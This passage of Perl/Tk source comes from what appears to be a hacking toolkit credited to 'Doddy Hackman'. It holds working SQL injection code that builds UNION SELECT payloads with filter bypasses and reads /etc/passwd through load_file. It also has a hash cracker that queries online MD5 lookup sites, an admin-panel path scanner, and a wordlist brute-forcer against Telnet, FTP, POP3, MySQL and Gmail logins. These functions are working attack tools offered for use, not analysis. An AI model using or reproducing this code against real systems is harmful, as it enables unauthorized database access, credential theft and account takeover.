  2693.                 my $save = partimealmedio( $_[0] );
  2694.  
  2695.                 savefile( $save . ".txt", "\n[Target confirmed] : $page" );
  2696.                 savefile( $save . ".txt", "[Bypass] : $_[1]\n" );
  2697.                 savefile( $save . ".txt",
  2698.                     "[Limit] : The site has $rows columns" );
  2699.                 savefile( $save . ".txt",
  2700.                     "[Data] : The number @number print data" );
  2701.                 $total =~ s/$number[0]/hackman/;
  2702.                 savefile(
  2703.                     $save . ".txt",
  2704.                     "[SQLI] : "
  2705.                       . $page . "1"
  2706.                       . $pass1 . "and"
  2707.                       . $pass1 . "1=0"
  2708.                       . $pass1 . "union"
  2709.                       . $pass1
  2710.                       . "select"
  2711.                       . $pass1
  2712.                       . $total
  2713.                 );
  2714.                 return (
  2715.                     $page . "1"
  2716.                       . $pass1 . "and"
  2717.                       . $pass1 . "1=0"
  2718.                       . $pass1 . "union"
  2719.                       . $pass1
  2720.                       . "select"
  2721.                       . $pass1
  2722.                       . $total,
  2723.                     $save, $control
  2724.                 );
  2725.             }
  2726.         }
  2727.     }
  2728.  
  2729.     sub openlogsk {
  2730.         my $cargar = partimealmedio( $targetero->get );
  2731.         $t = "logs/webs/$cargar" . ".txt";
  2732.         system("start $t");
  2733.     }
  2734.  
  2735.     sub details {
  2736.  
  2737.         my $page   = $targetero->get;
  2738.         my $bypass = $bypass;
  2739.         my $save   = partimealmedio($page);
  2740.  
  2741.         $informatero->delete( "0.0", "end" );
  2742.  
  2743.         ( $pass1, $pass2 ) = &bypass($bypass);
  2744.         savefile( $save . ".txt", "\n" );
  2745.         if ( $page =~ /(.*)hackman(.*)/ig ) {
  2746.             $tatus->configure( -text => "Searching information ..." );
  2747.             $logo->update;
  2748.             my ( $start, $end ) = ( $1, $2 );
  2749.             $inforschema =
  2750.                 $start
  2751.               . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  2752.               . $end
  2753.               . $pass1 . "from"
  2754.               . $pass1
  2755.               . "information_schema.tables"
  2756.               . $pass2;
  2757.             $mysqluser =
  2758.                 $start
  2759.               . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  2760.               . $end
  2761.               . $pass1 . "from"
  2762.               . $pass1
  2763.               . "mysql.user"
  2764.               . $pass2;
  2765.             $test3 =
  2766.               toma( $start
  2767.                   . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  2768.                   . $end
  2769.                   . $pass2 );
  2770.             $test1 = toma($inforschema);
  2771.             $test2 = toma($mysqluser);
  2772.  
  2773.             if ( $test2 =~ /ERTOR854/ig ) {
  2774.                 savefile( $save . ".txt", "[mysql.user] : ON" );
  2775.             }
  2776.             else {
  2777.                 savefile( $save . ".txt", "[mysql.user] : OFF" );
  2778.             }
  2779.             if ( $test1 =~ /ERTOR854/ig ) {
  2780.                 savefile( $save . ".txt", "[information_schema.tables] : ON" );
  2781.             }
  2782.             else {
  2783.                 savefile( $save . ".txt", "[information_schema.tables] : OFF" );
  2784.             }
  2785.             if ( $test3 =~ /ERTOR854/ig ) {
  2786.                 savefile(
  2787.                     $save . ".txt",
  2788.                     "[load_file] : "
  2789.                       . $start
  2790.                       . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  2791.                       . $end
  2792.                       . $pass2
  2793.                 );
  2794.             }
  2795.             $concat =
  2796. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  2797.             $injection = $start . $concat . $end . $pass2;
  2798.             $code      = toma($injection);
  2799.             if ( $code =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g ) {
  2800.  
  2801.                 $informatero->insert( "end", "DB Version : $1" );
  2802.                 $informatero->insert( "end", "DB Name : $2" );
  2803.                 $informatero->insert( "end", "Username : $3" );
  2804.                 savefile(
  2805.                     $save . ".txt",
  2806. "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] Username : $3\n"
  2807.                 );
  2808.                 $tatus->configure( -text => " " );
  2809.             }
  2810.             else {
  2811.                 $tatus->configure( -text => "Not found any data" );
  2812.             }
  2813.         }
  2814.     }
  2815.  
  2816. }    #End
  2817.  
  2818. sub menu_getpass {    #Start
  2819.  
  2820.     my $ta = MainWindow->new(
  2821.         -background => $color_fondo,
  2822.         -foreground => $color_texto
  2823.     );
  2824.     $ta->title("Finder Pass 0.4 (C) Doddy Hackman 2012");
  2825.     $ta->geometry("600x400+20+20");
  2826.     $ta->resizable( 0, 0 );
  2827.  
  2828.     $d = $ta->Frame(
  2829.         -relief     => "sunken",
  2830.         -bd         => 1,
  2831.         -background => $color_fondo,
  2832.         -foreground => $color_texto
  2833.     );
  2834.     my $max = $d->Menubutton(
  2835.         -text             => "Options",
  2836.         -underline        => 1,
  2837.         -background       => $color_fondo,
  2838.         -foreground       => $color_texto,
  2839.         -activebackground => $color_texto
  2840.     )->pack( -side => "left" );
  2841.     my $aba = $d->Menubutton(
  2842.         -text             => "About",
  2843.         -underline        => 1,
  2844.         -background       => $color_fondo,
  2845.         -foreground       => $color_texto,
  2846.         -activebackground => $color_texto
  2847.     )->pack( -side => "left" );
  2848.     my $exa = $d->Menubutton(
  2849.         -text             => "Exit",
  2850.         -underline        => 1,
  2851.         -background       => $color_fondo,
  2852.         -foreground       => $color_texto,
  2853.         -activebackground => $color_texto
  2854.     )->pack( -side => "left" );
  2855.     $d->pack( -side => "top", -fill => "x" );
  2856.  
  2857.     $max->command(
  2858.         -label      => "Crack",
  2859.         -background => $color_fondo,
  2860.         -foreground => $color_texto,
  2861.         -command    => \&cracknow
  2862.     );
  2863.     $max->command(
  2864.         -label      => "Add Hash",
  2865.         -background => $color_fondo,
  2866.         -foreground => $color_texto,
  2867.         -command    => \&addhash
  2868.     );
  2869.     $max->command(
  2870.         -label      => "Add File with hashes",
  2871.         -background => $color_fondo,
  2872.         -foreground => $color_texto,
  2873.         -command    => \&addfilea
  2874.     );
  2875.     $max->command(
  2876.         -label      => "Clean List",
  2877.         -background => $color_fondo,
  2878.         -foreground => $color_texto,
  2879.         -command    => \&cleanow
  2880.     );
  2881.  
  2882.     $aba->command(
  2883.         -label      => "About",
  2884.         -background => $color_fondo,
  2885.         -foreground => $color_texto,
  2886.         -command    => \&about
  2887.     );
  2888.  
  2889.     $exa->command(
  2890.         -label      => "Exit",
  2891.         -background => $color_fondo,
  2892.         -foreground => $color_texto,
  2893.         -command    => \&salir
  2894.     );
  2895.  
  2896.     $ta->Label(
  2897.         -text       => "Hashes",
  2898.         -background => $color_fondo,
  2899.         -foreground => $color_texto,
  2900.         -font       => "Impact"
  2901.     )->place( -x => 110, -y => 50 );
  2902.     my $had = my $has = $ta->Listbox(
  2903.         -width      => 36,
  2904.         -height     => 15,
  2905.         -background => $color_fondo,
  2906.         -foreground => $color_texto
  2907.     )->place( -x => 32, -y => 100 );
  2908.  
  2909.     $ta->Label(
  2910.         -text       => "Results",
  2911.         -background => $color_fondo,
  2912.         -foreground => $color_texto,
  2913.         -font       => "Impact"
  2914.     )->place( -x => 380, -y => 50 );
  2915.     my $red = my $res = $ta->Listbox(
  2916.         -width      => 36,
  2917.         -height     => 15,
  2918.         -background => $color_fondo,
  2919.         -foreground => $color_texto
  2920.     )->place( -x => 300, -y => 100 );
  2921.  
  2922.     my $status = $ta->Label(
  2923.         -text       => "Status : <None>",
  2924.         -background => $color_fondo,
  2925.         -foreground => $color_texto,
  2926.         -font       => "Impact1"
  2927.     )->place( -x => 220, -y => 350 );
  2928.  
  2929.     MainLoop;
  2930.  
  2931.     sub cracknow {
  2932.  
  2933.         my @hashes = $had->get( "0.0", "end" );
  2934.         my @hashes = repes(@hashes);
  2935.  
  2936.         for my $ha (@hashes) {
  2937.             $status->configure( -text => "[+] Searching .." );
  2938.             $ta->update;
  2939.             my $re = crackit($ha);
  2940.             if ( $re =~ /false01/ig ) {
  2941.                 $red->insert( "end", "Not Found" );
  2942.             }
  2943.             else {
  2944.                 $red->insert( "end", $re );
  2945.                 savefile( "hashes-found.txt", $ha . ":" . $re );
  2946.             }
  2947.         }
  2948.         $status->configure( -text => "Status : <None>" );
  2949.     }
  2950.  
  2951.     sub addfilea {
  2952.  
  2953.         my $mediox = MainWindow->new(
  2954.             -background => $color_fondo,
  2955.             -foreground => $color_texto
  2956.         );
  2957.         $mediox->geometry("390x90+20+20");
  2958.         $mediox->resizable( 0, 0 );
  2959.         $mediox->title("Add File");
  2960.  
  2961.         $mediox->Label(
  2962.             -text       => "File : ",
  2963.             -background => $color_fondo,
  2964.             -foreground => $color_texto,
  2965.             -font       => "Impact1"
  2966.         )->place( -x => 10, -y => 30 );
  2967.         my $enafa = $mediox->Entry(
  2968.             -background => $color_fondo,
  2969.             -foreground => $color_texto,
  2970.             -width      => 33
  2971.         )->place( -y => 33, -x => 55 );
  2972.         $mediox->Button(
  2973.             -text             => "Browse",
  2974.             -width            => 7,
  2975.             -background       => $color_texto,
  2976.             -foreground       => $color_fondo,
  2977.             -activebackground => $color_texto,
  2978.             -command          => \&bronax
  2979.         )->place( -y => 33, -x => 265 );
  2980.         $mediox->Button(
  2981.             -text             => "Load",
  2982.             -width            => 7,
  2983.             -background       => $color_texto,
  2984.             -foreground       => $color_fondo,
  2985.             -activebackground => $color_texto,
  2986.             -command          => \&bronaxx
  2987.         )->place( -y => 33, -x => 320 );
  2988.  
  2989.         sub bronax {
  2990.             $browse = $mediox->FileSelect( -directory => getcwd() );
  2991.             my $fileax = $browse->Show;
  2992.             $enafa->configure( -text => $fileax );
  2993.         }
  2994.  
  2995.         sub bronaxx {
  2996.             open( OPEN, $enafa->get );
  2997.             my @ve = <OPEN>;
  2998.             close OPEN;
  2999.             for my $no (@ve) {
  3000.                 chomp $no;
  3001.                 if ( ver_length($no) ) {
  3002.                     $had->insert( "end", $no );
  3003.                 }
  3004.             }
  3005.         }
  3006.     }
  3007.  
  3008.     sub addhash {
  3009.  
  3010.         my $plac = MainWindow->new(
  3011.             -background => $color_fondo,
  3012.             -foreground => $color_texto
  3013.         );
  3014.         $plac->geometry("350x90+20+20");
  3015.         $plac->resizable( 0, 0 );
  3016.         $plac->title("Add Hash");
  3017.  
  3018.         $plac->Label(
  3019.             -text       => "Hash : ",
  3020.             -background => $color_fondo,
  3021.             -foreground => $color_texto,
  3022.             -font       => "Impact1"
  3023.         )->place( -x => 10, -y => 30 );
  3024.         my $ewa = $plac->Entry(
  3025.             -background => $color_fondo,
  3026.             -foreground => $color_texto,
  3027.             -width      => 33
  3028.         )->place( -y => 33, -x => 60 );
  3029.         $plac->Button(
  3030.             -text             => "Add",
  3031.             -background       => $color_fondo,
  3032.             -activebackground => $color_texto,
  3033.             -foreground       => $color_texto,
  3034.             -width            => 7,
  3035.             -command          => \&addnowa
  3036.         )->place( -y => 33, -x => 275 );
  3037.  
  3038.         sub addnowa {
  3039.             if ( ver_length( $ewa->get ) ) {
  3040.                 $had->insert( "end", $ewa->get );
  3041.             }
  3042.             else {
  3043.                 $ta->Dialog(
  3044.                     -title            => "Error",
  3045.                     -buttons          => ["OK"],
  3046.                     -text             => "Hash invalid",
  3047.                     -background       => $color_fondo,
  3048.                     -foreground       => $color_texto,
  3049.                     -activebackground => $color_texto
  3050.                 )->Show();
  3051.             }
  3052.         }
  3053.     }
  3054.  
  3055.     sub cleanow {
  3056.         $had->delete( 0.0, "end" );
  3057.         $red->delete( 0.0, "end" );
  3058.     }
  3059.  
  3060.     sub about {
  3061.         $ta->Dialog(
  3062.             -title      => "About",
  3063.             -buttons    => ["OK"],
  3064.             -text       => "This program was coded by Doddy Hackman in 2012",
  3065.             -background => $color_fondo,
  3066.             -foreground => $color_texto,
  3067.             -activebackground => $color_text
  3068.         )->Show();
  3069.     }
  3070.  
  3071.     sub salir {
  3072.         $ta->destroy();
  3073.     }
  3074.  
  3075.     sub crackit {
  3076.  
  3077.         my $target = shift;
  3078.  
  3079.         chomp $target;
  3080.  
  3081.         my %hash = (
  3082.  
  3083.             'http://md5.hashcracking.com/search.php?md5=' => {
  3084.                 'tipo'  => 'get',
  3085.                 'regex' => "Cleartext of $target is (.*)",
  3086.             },
  3087.  
  3088.             'http://www.hashchecker.com/index.php?_sls=search_hash' => {
  3089.                 'variables' =>
  3090.                   { 'search_field' => $target, 'Submit' => 'search' },
  3091.                 'regex' =>
  3092.                   "<td><li>Your md5 hash is :<br><li>$target is <b>(.*)<\/b>",
  3093.             },
  3094.  
  3095.             'http://md5.rednoize.com/?q=' => {
  3096.                 'tipo'  => 'get',
  3097.                 'regex' => "<div id=\"result\" >(.*)<\/div>"
  3098.             },
  3099.  
  3100.             'http://md52.altervista.org/index.php?md5=' => {
  3101.                 'tipo'  => 'get',
  3102.                 'regex' => "<br>Password: <font color=\"Red\">(.*)<\/font><\/b>"
  3103.               }
  3104.  
  3105.         );
  3106.  
  3107.         for my $data ( keys %hash ) {
  3108.             $ta->update;
  3109.             if ( $hash{$data}{tipo} eq "get" ) {
  3110.                 $code = toma( $data . $target );
  3111.                 if ( $code =~ /$hash{$data}{regex}/ig ) {
  3112.                     my $found = $1;
  3113.                     unless ( $found =~ /\[Non Trovata\]/ ) {
  3114.                         return $found;
  3115.                         last;
  3116.                     }
  3117.                 }
  3118.             }
  3119.             else {
  3120.                 $code = tomar( $data, $hash{$data}{variables} );
  3121.                 if ( $code =~ /$hash{$data}{regex}/ig ) {
  3122.                     my $found = $1;
  3123.                     return $found;
  3124.                     last;
  3125.                 }
  3126.             }
  3127.         }
  3128.         return "false01";
  3129.     }
  3130.  
  3131. }    #End
  3132.  
  3133. sub menu_panel {
  3134.  
  3135.     my $newdaxz = MainWindow->new(
  3136.         -background => $color_fondo,
  3137.         -foreground => $color_texto
  3138.     );
  3139.  
  3140.     $newdaxz->title("Panel Control 0.3 || Coded By Doddy H");
  3141.     $newdaxz->geometry("345x350+50+50");
  3142.     $newdaxz->resizable( 0, 0 );
  3143.  
  3144.     $menula = $newdaxz->Frame(
  3145.         -relief     => "sunken",
  3146.         -bd         => 1,
  3147.         -background => $color_fondo,
  3148.         -foreground => $color_texto
  3149.     );
  3150.     my $menulnowaxm = $menula->Menubutton(
  3151.         -text             => "Options",
  3152.         -underline        => 1,
  3153.         -background       => $color_fondo,
  3154.         -foreground       => $color_texto,
  3155.         -activebackground => $color_texto
  3156.     )->pack( -side => "left" );
  3157.     my $aboutnowaxm = $menula->Menubutton(
  3158.         -text             => "About",
  3159.         -underline        => 1,
  3160.         -background       => $color_fondo,
  3161.         -foreground       => $color_texto,
  3162.         -activebackground => $color_texto
  3163.     )->pack( -side => "left" );
  3164.     my $exitnowaxm = $menula->Menubutton(
  3165.         -text             => "Exit",
  3166.         -underline        => 1,
  3167.         -background       => $color_fondo,
  3168.         -foreground       => $color_texto,
  3169.         -activebackground => $color_texto
  3170.     )->pack( -side => "left" );
  3171.     $menula->pack( -side => "top", -fill => "x" );
  3172.  
  3173.     $menulnowaxm->command(
  3174.         -label      => "Scan",
  3175.         -background => $color_fondo,
  3176.         -foreground => $color_texto,
  3177.         -command    => \&findpanel
  3178.     );
  3179.     $menulnowaxm->command(
  3180.         -label      => "Open Logs",
  3181.         -background => $color_fondo,
  3182.         -foreground => $color_texto,
  3183.         -command    => \&openlogsko
  3184.     );
  3185.  
  3186.     $aboutnowaxm->command(
  3187.         -label      => "About",
  3188.         -background => $color_fondo,
  3189.         -foreground => $color_texto,
  3190.         -command    => \&aboutxa
  3191.     );
  3192.  
  3193.     $exitnowaxm->command(
  3194.         -label      => "Exit",
  3195.         -background => $color_fondo,
  3196.         -foreground => $color_texto,
  3197.         -command    => \&exitnow
  3198.     );
  3199.  
  3200.     $newdaxz->Label(
  3201.         -text       => "Page : ",
  3202.         -font       => "Impact",
  3203.         -background => $color_fondo,
  3204.         -foreground => $color_texto
  3205.     )->place( -x => 20, -y => 40 );
  3206.     my $paget = $newdaxz->Entry(
  3207.         -width      => 40,
  3208.         -background => $color_fondo,
  3209.         -foreground => $color_texto
  3210.     )->place( -x => 70, -y => 45 );
  3211.  
  3212.     $newdaxz->Label(
  3213.         -text       => "Panels Found",
  3214.         -font       => "Impact",
  3215.         -background => $color_fondo,
  3216.         -foreground => $color_texto
  3217.     )->place( -x => 120, -y => 80 );
  3218.     my $admins = $newdaxz->Listbox(
  3219.         -width      => 40,
  3220.         -height     => 10,
  3221.         -background => $color_fondo,
  3222.         -foreground => $color_texto
  3223.     )->place( -x => 50, -y => 130 );
  3224.  
  3225.     $newdaxz->Label(
  3226.         -text       => "Status : ",
  3227.         -font       => "Impact",
  3228.         -background => $color_fondo,
  3229.         -foreground => $color_texto
  3230.     )->place( -x => 63, -y => 300 );
  3231.     my $tatus = $newdaxz->Entry(
  3232.         -width      => 25,
  3233.         -background => $color_fondo,
  3234.         -foreground => $color_texto
  3235.     )->place( -x => 120, -y => 305 );
  3236.  
  3237.     $admins->bind( "<Double-1>", [ \&loader ] );
  3238.  
  3239.     MainLoop;
  3240.  
  3241.     sub findpanel {
  3242.         my $hage = $paget->get;
  3243.         $admins->delete( "0.0", "end" );
  3244.         $tatus->configure( -text => "Starting" );
  3245.         for my $path (@paneles) {
  3246.             $newdaxz->update;
  3247.             $tatus->configure( -text => $path );
  3248.             $code = tomados( $hage . "/" . $path );
  3249.             if ( $code->is_success ) {
  3250.                 $controlt = 1;
  3251.                 $admins->insert( "end", $hage . "/" . $path );
  3252.                 savefile( "admins-founds.txt", $hage . "/" . $path );
  3253.             }
  3254.         }
  3255.  
  3256.         if ( $controlt ne 1 ) {
  3257.             $newdaxz->Dialog(
  3258.                 -title            => "Error",
  3259.                 -buttons          => ["OK"],
  3260.                 -text             => "Not found anything",
  3261.                 -background       => $color_fondo,
  3262.                 -foreground       => $color_texto,
  3263.                 -activebackground => $color_texto
  3264.             )->Show();
  3265.         }
  3266.         $tatus->configure( -text => "Finished" );
  3267.     }
  3268.  
  3269.     sub loader {
  3270.         $adminsa = $admins->curselection();
  3271.         for my $id (@$adminsa) {
  3272.             my $linkar = $admins->get($id);
  3273.             system("start firefox $linkar");
  3274.         }
  3275.     }
  3276.  
  3277.     sub openlogsko {
  3278.         my $f = "logs/admins-founds.txt";
  3279.         if ( -f $f ) {
  3280.             system($f);
  3281.         }
  3282.         else {
  3283.             $newdaxz->Dialog(
  3284.                 -title            => "Error",
  3285.                 -buttons          => ["OK"],
  3286.                 -text             => "File Not Found",
  3287.                 -background       => $color_fondo,
  3288.                 -foreground       => $color_texto,
  3289.                 -activebackground => $color_texto
  3290.             )->Show();
  3291.         }
  3292.     }
  3293.  
  3294.     sub aboutxa {
  3295.         $newdaxz->Dialog(
  3296.             -title            => "About",
  3297.             -buttons          => ["OK"],
  3298.             -text             => "Coded By Doddy H",
  3299.             -background       => $color_fondo,
  3300.             -foreground       => $color_texto,
  3301.             -activebackground => $color_texto
  3302.         )->Show();
  3303.     }
  3304.  
  3305.     sub exitnow {
  3306.         $newdaxz->destroy();
  3307.     }
  3308.  
  3309. }    #End
  3310.  
  3311. sub menu_cracker {    #Start
  3312.  
  3313.     my $newdax = MainWindow->new(
  3314.         -background => $color_fondo,
  3315.         -foreground => $color_texto
  3316.     );
  3317.  
  3318.     $newdax->title("Massive Cracker 0.4");
  3319.     $newdax->geometry("320x270+50+50");
  3320.     $newdax->resizable( 0, 0 );
  3321.  
  3322.     $menula = $newdax->Frame(
  3323.         -relief     => "sunken",
  3324.         -bd         => 1,
  3325.         -background => $color_fondo,
  3326.         -foreground => $color_texto
  3327.     );
  3328.     my $menulnowaxaz = $menula->Menubutton(
  3329.         -text             => "Options",
  3330.         -underline        => 1,
  3331.         -background       => $color_fondo,
  3332.         -foreground       => $color_texto,
  3333.         -activebackground => $color_texto
  3334.     )->pack( -side => "left" );
  3335.     my $aboutnowaxaz = $menula->Menubutton(
  3336.         -text             => "About",
  3337.         -underline        => 1,
  3338.         -background       => $color_fondo,
  3339.         -foreground       => $color_texto,
  3340.         -activebackground => $color_texto
  3341.     )->pack( -side => "left" );
  3342.     my $exitnowaxaz = $menula->Menubutton(
  3343.         -text             => "Exit",
  3344.         -underline        => 1,
  3345.         -background       => $color_fondo,
  3346.         -foreground       => $color_texto,
  3347.         -activebackground => $color_texto
  3348.     )->pack( -side => "left" );
  3349.     $menula->pack( -side => "top", -fill => "x" );
  3350.  
  3351.     $menulnowaxaz->command(
  3352.         -label      => "Crack",
  3353.         -background => $color_fondo,
  3354.         -foreground => $color_texto,
  3355.         -command    => \&crack
  3356.     );
  3357.     $menulnowaxaz->command(
  3358.         -label      => "Open Logs",
  3359.         -background => $color_fondo,
  3360.         -foreground => $color_texto,
  3361.         -command    => \&openlogsaz
  3362.     );
  3363.     $aboutnowaxaz->command(
  3364.         -label      => "About",
  3365.         -background => $color_fondo,
  3366.         -foreground => $color_texto,
  3367.         -command    => \&aboutxaz
  3368.     );
  3369.     $exitnowaxaz->command(
  3370.         -label      => "Exit",
  3371.         -background => $color_fondo,
  3372.         -foreground => $color_texto,
  3373.         -command    => \&exitnowaz
  3374.     );
  3375.  
  3376.     #
  3377.     $newdax->Label(
  3378.         -text       => "Host : ",
  3379.         -font       => "Impact1",
  3380.         -background => $color_fondo,
  3381.         -foreground => $color_texto
  3382.     )->place( -x => 20, -y => 40 );
  3383.     my $host = $newdax->Entry(
  3384.         -width      => 30,
  3385.         -background => $color_fondo,
  3386.         -foreground => $color_texto
  3387.     )->place( -x => 70, -y => 43 );
  3388.     $newdax->Label(
  3389.         -text       => "Username : ",
  3390.         -font       => "Impact1",
  3391.         -background => $color_fondo,
  3392.         -foreground => $color_texto
  3393.     )->place( -x => 20, -y => 70 );
  3394.     my $username = $newdax->Entry(
  3395.         -width      => 20,
  3396.         -background => $color_fondo,
  3397.         -foreground => $color_texto
  3398.     )->place( -x => 110, -y => 73 );
  3399.     $newdax->Label(
  3400.         -text       => "Wordlist : ",
  3401.         -font       => "Impact1",
  3402.         -background => $color_fondo,
  3403.         -foreground => $color_texto
  3404.     )->place( -x => 20, -y => 100 );
  3405.     my $password = $newdax->Entry(
  3406.         -width      => 20,
  3407.         -background => $color_fondo,
  3408.         -foreground => $color_texto
  3409.     )->place( -x => 95, -y => 103 );
  3410.     $newdax->Button(
  3411.         -text             => "Browse",
  3412.         -width            => 10,
  3413.         -command          => \&bronaf,
  3414.         -background       => $color_texto,
  3415.         -foreground       => $color_fondo,
  3416.         -activebackground => $color_texto
  3417.     )->place( -x => 225, -y => 103 );
  3418.     $newdax->Label(
  3419.         -text       => "Timeout : ",
  3420.         -font       => "Impact1",
  3421.         -background => $color_fondo,
  3422.         -foreground => $color_texto
  3423.     )->place( -x => 20, -y => 130 );
  3424.     my $timeout = $newdax->Entry(
  3425.         -width      => 10,
  3426.         -background => $color_fondo,
  3427.         -foreground => $color_texto
  3428.     )->place( -x => 95, -y => 133 );
  3429.  
  3430.     $newdax->Label(
  3431.         -text       => "Service : ",
  3432.         -font       => "Impact1",
  3433.         -background => $color_fondo,
  3434.         -foreground => $color_texto
  3435.     )->place( -x => 20, -y => 170 );
  3436.     $newdax->Optionmenu(
  3437.         -background       => $color_fondo,
  3438.         -foreground       => $color_texto,
  3439.         -activebackground => $color_texto,
  3440.         -options          => [
  3441.             [ FTP    => FTP ],
  3442.             [ TELNET => TELNET ],
  3443.             [ POP3   => POP3 ],
  3444.             [ MYSQL  => MYSQL ],
  3445.             [ GMAIL  => GMAIL ]
  3446.         ],
  3447.         -textvariable => \$service
  3448.     )->place( -x => 90, -y => 170 );
  3449.  
  3450.     $newdax->Label(
  3451.         -text       => "Status : ",
  3452.         -font       => "Impact",
  3453.         -background => $color_fondo,
  3454.         -foreground => $color_texto
  3455.     )->place( -x => 60, -y => 220 );
  3456.     my $status = $newdax->Entry(
  3457.         -width      => 20,
  3458.         -background => $color_fondo,
  3459.         -foreground => $color_texto
  3460.     )->place( -x => 120, -y => 225 );
  3461.  
  3462.     #
  3463.  
  3464.     MainLoop;
  3465.  
  3466.     sub crack {
  3467.  
  3468.         my $host = $host->get;
  3469.         my $user = $username->get;
  3470.         my $word = $password->get;
  3471.         my $time = $timeout->get;
  3472.  
  3473.         my $op = $service;
  3474.  
  3475.         if ( -f $word ) {
  3476.  
  3477.             $status->configure( -text => " " );
  3478.  
  3479.             if ( $op eq "TELNET" ) {
  3480.  
  3481.                 my $cont = "0";
  3482.  
  3483.                 my @words = openwordlist($word);
  3484.  
  3485.                 for my $pass (@words) {
  3486.                     chomp $pass;
  3487.                     $newdax->update;
  3488.                     $status->configure( -text => $pass );
  3489.                     sleep($time);
  3490.                     $telnet = new Net::Telnet( Errmode => "return" );
  3491.                     $telnet->open($host);
  3492.                     if ( $telnet->login( $user, $pass ) ) {
  3493.                         $cont = "1";
  3494.                         yeaha( $host, $user, $pass, "Telnet" );
  3495.                     }
  3496.                     $telnet->close;
  3497.                 }
  3498.                 if ( $cont eq "0" ) {
  3499.                     $status->configure( -text => "Not Found" );
  3500.                 }
  3501.             }
  3502.  
  3503.             elsif ( $op eq "FTP" ) {
  3504.  
  3505.                 my $cont = "0";
  3506.  
  3507.                 my @words = openwordlist($word);
  3508.  
  3509.                 for my $pass (@words) {
  3510.                     chomp $pass;
  3511.                     $newdax->update;
  3512.                     $status->configure( -text => $pass );
  3513.                     sleep($time);
  3514.                     $ftp = Net::FTP->new($host);
  3515.                     if ( $ftp->login( $user, $pass ) ) {
  3516.                         $cont = "1";
  3517.                         yeaha( $host, $user, $pass, "FTP" );
  3518.                     }
  3519.                     $ftp->quit;
  3520.                 }
  3521.                 if ( $cont eq "0" ) {
  3522.                     $status->configure( -text => "Not Found" );
  3523.                 }
  3524.             }
  3525.             elsif ( $op eq "POP3" ) {
  3526.  
  3527.                 my $cont = "0";
  3528.  
  3529.                 my @words = openwordlist($word);
  3530.  
  3531.                 for my $pass (@words) {
  3532.                     chomp $pass;
  3533.                     $newdax->update;
  3534.                     $status->configure( -text => $pass );
  3535.                     sleep($time);
  3536.                     $pop = Net::POP3->new($host);
  3537.                     if ( $pop->login( $user, $pass ) ) {
  3538.                         $cont = "1";
  3539.                         yeaha( $host, $user, $pass, "POP3" );
  3540.                     }
  3541.                     $pop->quit();
  3542.                 }
  3543.                 if ( $cont eq "0" ) {
  3544.                     $status->configure( -text => "Not Found" );
  3545.                 }
  3546.             }
  3547.  
  3548.             elsif ( $op eq "MYSQL" ) {
  3549.  
  3550.                 my $cont = "0";
  3551.  
  3552.                 my @words = openwordlist($word);
  3553.  
  3554.                 $target = "dbi:mysql::" . $host . ":3306";
  3555.  
  3556.                 for my $pass (@words) {
  3557.                     chomp $pass;
  3558.                     $newdax->update;
  3559.                     $status->configure( -text => $pass );
  3560.                     sleep($time);
  3561.                     if (
  3562.                         my $now = DBI->connect(
  3563.                             $target, $user, $pass, { PrintError => 0 }
  3564.                         )
  3565.                       )
  3566.                     {
  3567.                         $cont = "1";
  3568.                         yeaha( $host, $user, $pass, "Mysql" );
  3569.                     }
  3570.                 }
  3571.                 if ( $cont eq "0" ) {
  3572.                     $status->configure( -text => "Not Found" );
  3573.                 }
  3574.             }
  3575.  
  3576.             elsif ( $op eq "GMAIL" ) {
  3577.  
  3578.                 my $cont = "0";
  3579.  
  3580.                 my @words = openwordlist($word);
  3581.  
  3582.                 for my $pass (@words) {
  3583.                     chomp $pass;
  3584.                     $newdax->update;
  3585.                     $status->configure( -text => $pass );
  3586.                     sleep($time);
  3587.                     my $so = IO::Socket::SSL->new(
  3588.                         PeerAddr => "pop.gmail.com",
  3589.                         PeerPort => 995,
  3590.                         Proto    => "tcp"
  3591.                     );
  3592.  
  3593.                     my $nave = Mail::POP3Client->new();
  3594.  
  3595.                     $nave->User($user);
  3596.                     $nave->Pass($pass);
  3597.                     $nave->Socket($so);
  3598.  
  3599.                     if ( $nave->Connect() ) {
  3600.                         $cont = "1";
  3601.                         yeaha( "pop.gmail.com", $user, $pass, "Gmail" );
  3602.                     }
  3603.  
  3604.                     $so->close();
  3605.                     $nave->close();
  3606.                 }
  3607.                 if ( $cont eq "0" ) {
  3608.                     $status->configure( -text => "Not Found" );
  3609.                 }
  3610.  
  3611.             }
  3612.             else {
  3613.             }
  3614.         }
  3615.         else {
  3616.             $newdax->Dialog(
  3617.                 -title            => "Error",
  3618.                 -buttons          => ["OK"],
  3619.                 -text             => "File Not Found",
  3620.                 -background       => $color_fondo,
  3621.                 -foreground       => $color_texto,
  3622.                 -activebackground => $color_texto
  3623.             )->Show();
  3624.         }
  3625.     }
  3626.  
  3627.     sub yeaha {
  3628.  
  3629.         my $foundtk = MainWindow->new(
  3630.             -background => $color_fondo,
  3631.             -foreground => $color_texto
  3632.         );
  3633.         $foundtk->title("Account Cracked");
  3634.         $foundtk->geometry("280x130+20+20");
  3635.         $foundtk->resizable( 0, 0 );
  3636.  
  3637.         $foundtk->Label(
  3638.             -text       => "Host : ",
  3639.             -font       => "Impact",
  3640.             -background => $color_fondo,
  3641.             -foreground => $color_texto
  3642.         )->place( -x => 20, -y => 20 );
  3643.         my $host_found = $foundtk->Entry(
  3644.             -width      => 30,
  3645.             -background => $color_fondo,
  3646.             -foreground => $color_texto
  3647.         )->place( -x => 67, -y => 25 );
  3648.         $foundtk->Label(
  3649.             -text       => "Username : ",
  3650.             -font       => "Impact",
  3651.             -background => $color_fondo,
  3652.             -foreground => $color_texto
  3653.         )->place( -x => 20, -y => 50 );
  3654.         my $user_found = $foundtk->Entry(
  3655.             -width      => 24,
  3656.             -background => $color_fondo,
  3657.             -foreground => $color_texto
  3658.         )->place( -x => 103, -y => 55 );
  3659.         $foundtk->Label(
  3660.             -text       => "Password : ",
  3661.             -font       => "Impact",
